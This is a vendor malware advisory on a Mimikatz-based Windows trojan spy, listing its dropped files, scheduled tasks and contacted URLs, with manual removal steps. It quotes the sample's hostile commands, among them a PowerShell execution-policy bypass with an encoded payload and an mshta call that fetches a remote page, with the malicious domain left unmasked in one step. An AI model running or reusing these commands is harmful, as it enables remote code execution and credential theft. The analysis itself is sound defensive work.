Analysis by: Arvin Roi Macaraeg

ALIASES:

Python/Agent.DU trojan(NOD32), TR/Drop.Agent.cvqse(ANTIVIR)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan Spy

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 8,292,548 bytes
File Type: EXE
Memory Resident: Yes
Initial Samples Received Date: 30 Jan 2019

Arrival Details

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan Spy drops the following files:

  • %User Temp%\mkatz.ini
  • %User Temp%\m.ps1
  • %User Temp%\p.bat
  • %Temp%\svchost.exe
  • %Temp%\svvhost.exe
  • %Windows%\System32\svhost.exe
  • %Windows%\SysWOW64\svhost.exe
  • %Windows%\System32\drivers\svchost.exe
  • %Windows%\SysWOW64\drivers\svchost.exe
  • %System Root%\installed.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.. %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

It adds the following processes:

  • cmd /c net user&netsh advfirewall set allprofile state on&netsh advfirewall firewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445
  • cmd /c wmic ntdomain get domainname

Other Details

This Trojan Spy connects to the following possibly malicious URL:

  • http://w.{BLOCKED}h.com/page.html?p{computer name}
  • http://v.{BLOCKED}h.com/v{user donamin}

It adds the following scheduled tasks:

  • Task Name: \Microsoft\windows\Bluetooths
    Task to be Run: powershell -ep bypass -e {base-64 string}
  • Task Name: DnsScan
    Task to be Run: %Temp%\svchost.exe
  • Task Name: AutoCheck
    Task to be Run: cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?{computer name}
  • Task Name: AutoScan
    Task to be Run: %Temp%\svchost.exe

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.814.04
FIRST VSAPI PATTERN DATE: 15 Feb 2019
VSAPI OPR PATTERN File: 14.815.00
VSAPI OPR PATTERN Date: 16 Feb 2019

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as TrojanSpy.Win32.MIMIKATZ.ADS

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Taskname: \Microsoft\windows\Bluetooths
  • Task to be Run: powershell -ep bypass -e {base-64 string}
  • Taskname: DnsScan
  • Task to be Run: %Temp%\svchost.exe
  • Task Name: AutoCheck
  • Task to be Run: cmd.exe /c mshta http://w.beahh.com/page.html?{computer name}
  • Task Name: AutoScan
  • Task to be Run: %Temp%\svchost.exe

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\mkatz.ini
  • %User Temp%\m.ps1
  • %User Temp%\p.bat
  • %Temp%\svchost.exe
  • %Temp%\svvhost.exe
  • %Windows%\System32\svhost.exe
  • %Windows%\SysWOW64\svhost.exe
  • %Windows%\System32\drivers\svchost.exe
  • %Windows%\SysWOW64\drivers\svchost.exe
  • %System Root%\installed.exe

Step 6

Scan your computer with your Trend Micro product to delete files detected as TrojanSpy.Win32.MIMIKATZ.ADS. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


Did this description help? Tell us how we did.